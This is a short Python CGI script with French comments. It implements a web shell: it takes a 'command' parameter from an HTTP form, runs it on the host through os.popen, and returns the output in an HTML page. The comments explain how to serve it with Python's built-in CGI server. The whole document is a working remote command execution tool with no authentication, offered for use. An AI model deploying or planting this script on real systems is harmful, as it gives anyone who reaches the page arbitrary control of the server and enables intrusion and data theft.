#!/usr/bin/env python3 # après avoir lancé le serveur : python3 -m http.server --cgi # placer le script (rendu exécutable) dans /cgi-bin... import cgi import os form = cgi.FieldStorage() if form.getvalue('command'): cmd = form.getvalue('command') print("Content-Type: text/html; charset=UTF-8\n\n") print (""" Web shell

Web shell

Votre commande : """) if cmd : print(cmd) print("""

""") if cmd : print("
")
    print(os.popen(cmd).read())
    print("
") print(""" """)